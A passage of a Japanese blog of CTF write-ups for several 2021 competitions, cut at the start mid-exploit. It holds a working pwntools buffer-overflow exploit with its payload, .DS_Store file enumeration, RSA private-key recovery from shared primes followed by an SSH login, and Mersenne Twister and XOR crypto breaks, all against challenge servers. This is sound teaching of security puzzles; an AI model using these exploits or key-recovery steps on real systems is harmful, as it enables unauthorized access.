AcAA2AAHAAdAA3A found at offset: 56

$ ROPgadget --binary ./santa | grep ": ret"
0x0000000000401016 : ret
0x0000000000401062 : retf 0x2f
from pwn import *

if len(sys.argv) == 1:
    p = remote('santa.challenge.ctf.thefewchosen.com', 1337)
else:
    p = process('./santa')

elf = ELF('./santa')

flag_addr = elf.symbols['flag']
ret_addr = 0x401016
offset = 56

payload = 'A' * offset
payload += p64(ret_addr)
payload += p64(flag_addr)

data = p.recvline().rstrip()
print data
data = p.recvline().rstrip()
print data
print payload
p.sendline(payload)
data = p.recvline().rstrip()
print data
data = p.recvline().rstrip()
print data

実行結果は以下の通り。

[+] Opening connection to santa.challenge.ctf.thefewchosen.com on port 1337: Done
[*] '/mnt/hgfs/Shared/santa'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
== proof-of-work: disabled ==
What are you wishing for?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x16@\x00\x00\x00\x11\x00\x00\x00

TFCCTF{A11_I_w4nt_4_Chr15tm4s_i5_y0uuuu}
[*] Closed connection to santa.challenge.ctf.thefewchosen.com port 1337
TFCCTF{A11_I_w4nt_4_Chr15tm4s_i5_y0uuuu}

MACDONALDS (WEB)

サーバはMacBookのようなので、http://server.challenge.ctf.thefewchosen.com:1339/.DS_Storeにアクセスしてみる。

$ wget http://server.challenge.ctf.thefewchosen.com:1339/.DS_Store
--2021-11-27 04:47:48--  http://server.challenge.ctf.thefewchosen.com:1339/.DS_Store
server.challenge.ctf.thefewchosen.com (server.challenge.ctf.thefewchosen.com) をDNSに問いあわせています... 51.124.199.224
server.challenge.ctf.thefewchosen.com (server.challenge.ctf.thefewchosen.com)|51.124.199.224|:1339 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 8196 (8.0K)
`.DS_Store' に保存中

.DS_Store           100%[==================>]   8.00K  --.-KB/s    時間 0s    

2021-11-27 04:47:49 (20.2 MB/s) - `.DS_Store' へ保存完了 [8196/8196]

$ file .DS_Store
.DS_Store: Apple Desktop Services Store

https://w-e-b.site/?act=dsstoreでファイルリストを見てみる。

Found files:

Count:  11
index.php
secrets
secrets
secrets
secrets
secrets
secrets
secrets
style.css
style.css.map
style.scss

今度はsecretsの下を見てみる。

$ wget http://server.challenge.ctf.thefewchosen.com:1339/secrets/.DS_Store
--2021-11-27 04:55:05--  http://server.challenge.ctf.thefewchosen.com:1339/secrets/.DS_Store
server.challenge.ctf.thefewchosen.com (server.challenge.ctf.thefewchosen.com) をDNSに問いあわせています... 51.124.199.224
server.challenge.ctf.thefewchosen.com (server.challenge.ctf.thefewchosen.com)|51.124.199.224|:1339 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 6148 (6.0K)
`.DS_Store.1' に保存中

.DS_Store.1         100%[==================>]   6.00K  --.-KB/s    時間 0s    

2021-11-27 04:55:06 (745 MB/s) - `.DS_Store.1' へ保存完了 [6148/6148]

再びhttps://w-e-b.site/?act=dsstoreでファイルリストを見てみる。

Found files:

Count:  1
5973b4cc1d61c110188ee413cddb8652.php

このphpにアクセスしてみる。

$ curl http://server.challenge.ctf.thefewchosen.com:1339/secrets/5973b4cc1d61c110188ee413cddb8652.php
TFCCTF{.D5_S70r3_1s_s0_4nn0ying_wh3n_c0mp1l1ng_j4rs_y0urs3lf}
TFCCTF{.D5_S70r3_1s_s0_4nn0ying_wh3n_c0mp1l1ng_j4rs_y0urs3lf}

AAAAA (FORENSICS)

$ binwalk AAAAA 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
2000          0x7D0           PNG image, 1890 x 1417, 8-bit/color RGB, non-interlaced
2062          0x80E           Zlib compressed data, default compression

AAAAAファイルの中にpngが含まれている。

$ foremost AAAAA
Processing: AAAAA
|*|

抽出したPNGファイルにフラグが書いてあった。
f:id:satou-y:20211130075450p:plain

TFCCTF{Gr4phic_d35ign_is_my_p455ion}

UH, SUSSY BAKKA (FORENSICS)

USBキーボードの通信らしい。

Leftover Capture Dataの並びを見て推測する。
8バイトのデータで以下の箇所を確認してキーを判定する。

・0バイト目:00->シフトキー押下なし、02->シフトキー押下あり
・2バイト目:対応するキーのコード
from scapy.all import *

keymap = { 0x04: ('a', 'A'), 0x05: ('b', 'B'), 0x06: ('c', 'C'),
           0x07: ('d', 'D'), 0x08: ('e', 'E'), 0x09: ('f', 'F'),
           0x0a: ('g', 'G'), 0x0b: ('h', 'H'), 0x0c: ('i', 'I'),
           0x0d: ('j', 'J'), 0x0e: ('k', 'K'), 0x0f: ('l', 'L'),
           0x10: ('m', 'M'), 0x11: ('n', 'N'), 0x12: ('o', 'O'),
           0x13: ('p', 'P'), 0x14: ('q', 'Q'), 0x15: ('r', 'R'),
           0x16: ('s', 'S'), 0x17: ('t', 'T'), 0x18: ('u', 'U'),
           0x19: ('v', 'V'), 0x1a: ('w', 'W'), 0x1b: ('x', 'X'),
           0x1c: ('y', 'Y'), 0x1d: ('z', 'Z'), 0x1e: ('1', '!'),
           0x1f: ('2', '@'), 0x20: ('3', '#'), 0x21: ('4', '$'),
           0x22: ('5', '%'), 0x23: ('6', '^'), 0x24: ('7', '&'),
           0x25: ('8', '*'), 0x26: ('9', '('), 0x27: ('0', ')'),
           0x28: ('\x0a', '\x0a'), 0x29: ('\x1b', '\x1b'),
           0x2a: ('\x08', '\x08'), 0x2b: ('\x09', '\x09'),
           0x2c: ('\x20', '\x20'), 0x2d: ('-', '_'),
           0x2e: ('=', '+'), 0x2f: ('[', '{'), 0x30: (']', '}'),
           0x31: ('\\', '|'), 0x33: (';', ':'), 0x34: ('\'', '\"'),
           0x35: ('`', '~'), 0x36: (',', '<'), 0x37: ('.', '>'),
           0x38: ('/', '?')}

packets = rdpcap('chall.pcapng')

flag = ''
for p in packets:
    buf = p['Raw'].load
    if len(buf) == 48 and buf[42] != '\x00':
        if buf[40] == '\x00':
            flag += keymap[ord(buf[42])][0]
        elif buf[40] == '\x02':
            flag += keymap[ord(buf[42])][1]

print flag
TFCCTF{w4lt3r_y0u_su55y_b4k4!Why_ar3_y0u_h1d1ng_und3rn34th_my_d3sk}

SEA LANGUAGE 1 (CRYPTO)

モールス信号。https://morsecode.world/international/translator.htmlでデコードする。

WH4T-AR3-Y0U-S1NK1NG-AB0UT?!!!?
TFCCTF{WH4T-AR3-Y0U-S1NK1NG-AB0UT?!!!?}

SEA LANGUAGE? 2 (CRYPTO)

8個の._でコードになっているので、2進数としてデコードする。

with open('sl2.txt', 'r') as f:
    enc = f.read()

enc = enc.replace('\n', '').replace('.', '0').replace('_', '1')
enc = enc.split(' ')

flag = ''
for c in enc:
    flag += chr(int(c, 2))
print(flag)
TFCCTF{w417_4_m1nu73..._7h15_1s_n07_m0rs3!!!!!r1gh7?}

AM I DOING IT RIGHT? (CRYPTO)

公開鍵を読み取り、nを素因数分解する。

n = 133150398268195275743440564494273922289580211854275732500110288734747827954102678337833707292013932698242219254622842845639915924282608624204786786392336964091586374322686524012967082822794190857146515192578928726013025527238404636134021379501081455477264698849928505026780491785694428836269895358616314275861**2
p = 133150398268195275743440564494273922289580211854275732500110288734747827954102678337833707292013932698242219254622842845639915924282608624204786786392336964091586374322686524012967082822794190857146515192578928726013025527238404636134021379501081455477264698849928505026780491785694428836269895358616314275861
phi = p * (p - 1)

あとはそのまま復号する。

from Crypto.PublicKey import RSA
from Crypto.Util.number import *
import re

with open('public.pem', 'r') as f:
    pub_data = f.read()

pubkey = RSA.importKey(pub_data)
n = pubkey.n
e = pubkey.e

p = 133150398268195275743440564494273922289580211854275732500110288734747827954102678337833707292013932698242219254622842845639915924282608624204786786392336964091586374322686524012967082822794190857146515192578928726013025527238404636134021379501081455477264698849928505026780491785694428836269895358616314275861
assert n == p ** 2

with open('chall.enc', 'rb') as f:
    c = bytes_to_long(f.read())

phi = p * (p - 1)
d = inverse(e, phi)
m = pow(c, d, n)

pattern = '(TFCCTF{.*})'
flag = long_to_bytes(m)
m = re.search(pattern, flag)
flag = m.group(1)
print(flag)
TFCCTF{1_w0n7_4dm1t_h0w_l0ng_th1s_t00k_4_me...congrats,tho!}

KH5YHLZVJP (CRYPTO)

暗号化の処理概要は以下の通り。

・4回4096ビットランダム整数を改行区切りで書き込む。
・次の4096ビットランダム整数を文字列として、先頭512バイトとflagをXORをとる。
・XORの結果をbase64エンコードして出力する。

Mersenne Twisterの特性を使った問題。r[i]をi回目の32bit整数として、32bitずつに区切って考える。

1回目ランダム整数
r[127] r[126] ... r[1] r[0]

2回目ランダム整数
r[255] r[254] ... r[129] r[128]

3回目ランダム整数
r[383] r[382] ... r[257] r[256]

4回目ランダム整数
r[511] r[510] ... r[385] r[384]

次のランダム整数
r[639] r[638] ... r[512] r[513]

Mersenne Twisterの特性から以下の通りの入力・出力の関係がある。

r[0], r[1], r[397] -> r[624]
    :
r[15], r[16], r[412] -> r[639]

この範囲でXORキーを出して、復号する。

#!/usr/bin/python3
import base64
from Crypto.Util.strxor import strxor

def untemper(rand):
    rand ^= rand >> 18;
    rand ^= (rand << 15) & 0xefc60000;
 
    a = rand ^ ((rand << 7) & 0x9d2c5680);
    b = rand ^ ((a << 7) & 0x9d2c5680);
    c = rand ^ ((b << 7) & 0x9d2c5680);
    d = rand ^ ((c << 7) & 0x9d2c5680);
    rand = rand ^ ((d << 7) & 0x9d2c5680);
 
    rand ^= ((rand ^ (rand >> 11)) >> 11);
    return rand

def temper(st):
    y = st
    y ^= y >> 11
    y ^= (y << 7) & 0x9d2c5680
    y ^= (y << 15) & 0xefc60000
    y ^= y >> 18
    return y

with open('c.out', 'r') as f:
    lines = f.read().splitlines()

secret = base64.b64decode(lines[4].split(': ')[1])

st = []
for i in range(4):
    n = int(lines[i])
    for j in range(4096 // 32):
        st.append(untemper((n >> (j * 32)) & 0xffffffff))

new_st = [-1] * 16
for i in range(16):
    n = st[i] & 0x80000000
    n += st[(i+1) % 624] & 0x7fffffff
    new_st[i] = st[(i+397) % 624] ^ (n >> 1)
    if n % 2 != 0:
        new_st[i] ^= 0x9908b0df

key = 0
for i in range(16):
    key *= 2**32
    key += temper(new_st[15 - i])

key *= 2**(4096 - 32 * 16)

flag = strxor(secret, str(key)[:512].encode()).decode()
flag = flag[:flag.index('}') + 1]
print(flag)
TFCCTF{1n53cur3_rng_15_th3-d0wnf4ll-_0f_m4ny_4pp5.f0ll0w_fsociety}

ISITDTU CTF 2021 Quals Writeup

この大会は2021/11/27 10:00(JST)~2021/11/28 10:00(JST)に開催されました。
今回もチームで参戦。結果は1101点で197チーム中27位でした。
自分で解けた問題をWriteupとして書いておきます。

WELCOME (Misc)

Discordに入り、#announcementチャネルのメッセージを見ると、フラグが書いてあった。

ISITDTU{Welcome_t0_ISITDTU_CTF_2021}

ONE TIME BEACH (Cryptography)

制限付きのある長さのキーでXOR暗号化している。拡張子がbinで、データ量も多いので、ASCIIデータではないと推測する。画像データあたりから推測して、復号を試す。PNGでは整合できなかったので、他の形式の画像ファイルかもしれない。次にJPGを試すと、途中まで整合が取れる。他のJPGデータを参考にしながら、復号する。

#!/usr/bin/python3
from itertools import cycle

def xor(a, b):
    return [i ^ j for i, j in zip(a, cycle(b))]

with open('cipher.enc', 'rb') as f:
    cipher = f.read()[20:]

HEADER = b'\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01'
HEADER += b'\x00\x01\x00\x00\xff\xdb\x00\x43'

c = HEADER[0] ^ cipher[0]
o = HEADER[1] ^ cipher[1]
t = HEADER[2] ^ cipher[2]
h = HEADER[3] ^ cipher[3]
a = HEADER[4] ^ cipher[4]
n = HEADER[5] ^ cipher[5]
_ = HEADER[6] ^ cipher[6]
b = HEADER[22] ^ cipher[22]
r = HEADER[17] ^ cipher[17]
u = HEADER[14] ^ cipher[14]
i = HEADER[23] ^ cipher[23]
s = HEADER[7] ^ cipher[7]
e = HEADER[18] ^ cipher[18]
y = HEADER[9] ^ cipher[9]
key = [c,o,t,h,a,n,_,s,a,y,s,_,y,o,u,_,a,r,e,_,a,_,b,i,t,t,h]

FLAG = xor(cipher, key)

with open('flag.jpg', 'wb') as f:
    f.write(bytes(FLAG))

復号した画像フラグが書かれていた。
f:id:satou-y:20211129212425j:plain

ISITDTU{OMG_1_KNOW_PI_DIGITS}

Balsn CTF 2021 Writeup

この大会は2021/11/20 11:00(JST)~2021/11/22 11:00(JST)に開催されました。
今回もチームで参戦。結果は50点で284チーム中76位でした。
参加賞の問題しか解けませんでしたが、
自分で解けた問題をWriteupとして書いておきます。

Baby Welcome (Misc)

Discordに入り、#generalチャネルのトピックを見ると、フラグが書いてあった。

BALSN{We1come_to_Balsn_CTF_2021!!!}

N1CTF 2021 Writeup

この大会は2021/11/20 9:00(JST)~2021/11/22 9:00(JST)に開催されました。
今回もチームで参戦。結果は 68点で601チーム中169位でした。
参加賞の問題しか解けませんでしたが、
自分で解けた問題をWriteupとして書いておきます。

Welcome (misc)

ルールに記載されているフラグの例がフラグだった。

n1ctf{welc0me_to_play}

Square CTF 2021 Writeup

この大会は2021/11/20 10:00(JST)~2021/11/21 10:00(JST)に開催されました。
今回もチームで参戦。結果は350点で119チーム中33位でした。
自分で解けた問題をWriteupとして書いておきます。

Huge Primes (web 50)

2つの値を指定し、その積が指定された数値になるようにする。整数の積である必要はないので、10で割った小数と、10を指定する。

$ curl http://challenges.2021.squarectf.com:8001/factors -d 'a=2295215232333250568867076121467149822545168433013799099035647304074168401499770179900991006696491789640050147.7&b=10'
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>Hugeprimes</title>
  </head>
  <body>
    <h2> 22952152323332505688670761214671498225451684330137990990356473040741684014997701799009910066964917896400501477 is a very large number that is the product of two primes (aka a semiprime)
    <h2>Input two numbers, a and b, that multiply together to equal this very large number, and input them below. Assume that a >= 2 and b >= 2</h2>
    <form action="/factors" method="POST">
      <input type="text" placeholder="a" name="a">
      <input type="text" placeholder="b" name="b">
      <button type="submit">Submit</button>
    </form>
    Correct! Here is your flag: flag{984ur9q83ndj934jd}
  </body>
</html>
flag{984ur9q83ndj934jd}

Im a credential ghoul (cryptography 300)

サーバに公開鍵が512個あるので、まずすべてダウンロードする。

$ for i in `seq -f %04g 0 511`; do wget -q http://challenges.2021.squarectf.com:5001/pubkeys/u$i.pub; done

この中で共通の素数を持つものがないか総当たりで探し、秘密鍵を生成する。

#!/usr/bin/env python3
from Crypto.PublicKey import RSA
from Crypto.Util.number import *
import itertools

e = 65537
ns = []
for i in range(512):
    pub_fname = 'pubkeys/u%04d.pub' % i
    with open(pub_fname, 'r') as f:
        pub_data = f.read()

    pubkey = RSA.importKey(pub_data)
    ns.append(pubkey.n)
    assert pubkey.e == e

for c in list(itertools.combinations(ns, 2)):
    p = GCD(c[0], c[1])
    if p > 1:
        q1 = c[0] // p
        q2 = c[1] // p
        user1 = 'u%04d' % ns.index(c[0])
        user2 = 'u%04d' % ns.index(c[1])
        print('[+] p =', p)
        print('[+] q1 =', q1)
        print('[+] q2 =', q2)
        print('[+] user1 =', user1)
        print('[+] user2 =', user2)
        break

phi1 = (p - 1) * (q1 - 1)
phi2 = (p - 1) * (q2 - 1)
d1 = inverse(e, phi1)
d2 = inverse(e, phi2)

key1 = RSA.construct((p * q1, e, d1))
key2 = RSA.construct((p * q2, e, d2))

with open('%s.key' % user1, 'w') as f:
    f.write(key1.exportKey().decode())

with open('%s.key' % user2, 'w') as f:
    f.write(key2.exportKey().decode())

実行結果は以下の通り。

[+] p = 17463372436955753648792542219049798496440392478334817703597906046050274590975100926422968957811477629971817622078856399337732226965891684031073278499213347840694895156134020171316651099408899333274891685059478163525451277313480419111552124073559622763208712509958724703319669341026064264826853306880143092678542228429404022432065686205640000031568402748549930830860680560907987325490183313276458587458132539924074953725532032449607842804001044964321207164320272098523232102393111917753723599585540402452042816761749256831951342214059623987774236694788563143868975079506355063364657073115366816541576681744003048909949
[+] q1 = 17118999727521268367327580890606825660717289393236717285547848824934877203157536483348536830541312807876965153910031163580874417600137499722137159830880703380581209180979080664738321339534806053333572599887413183029080918388598068274964159992330901853618167499266703828256482478504160926108684501834181442981292002430665296091869423323645927781347133218864532305052211471248166369266611597953138463812285666643207996060561226163171266826058571892902981020383780141766219602057486259877997447300587564470608554804005874041752980481380729046225826073876576169291459558613667282676314069201608025345057184737061077957961
[+] q2 = 18609577408079079024167523822003585548314351436825090658223198972088519599111725551878384447745125714074762007779408034571593216418239674794258454488236136468189562280867032732461524599188099043047947978747620113380460752504594378059378274598391848669686735143169437757367230613344030546152541218079722833373991045033476858989661805041289961206664571039077287907620466330768614047004609790980579947045236973848912638402813455835912084788535354508820086092033945692925149764319545038070558669310516309989446706197785674207230441663694046199224024725179489022922316395372398303994810675282726070648713959376128600744689
[+] user1 = u0170
[+] user2 = u0340

生成した秘密鍵の一つでssh接続する。

$ ssh -i u0170.key u0170@challenges.2021.squarectf.com -p 2222
The authenticity of host '[challenges.2021.squarectf.com]:2222 ([18.119.52.238]:2222)' can't be established.
ECDSA key fingerprint is SHA256:Cb0Ovh8g2M7ABFnTeI3E2TrQjUZszvB0rFiOjfH+tSA.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[challenges.2021.squarectf.com]:2222,[18.119.52.238]:2222' (ECDSA) to the list of known hosts.
flag{HEADLINE:new_prime_found_today_at_the_lage_integer_collider}
Connection to challenges.2021.squarectf.com closed.
flag{HEADLINE:new_prime_found_today_at_the_lage_integer_collider}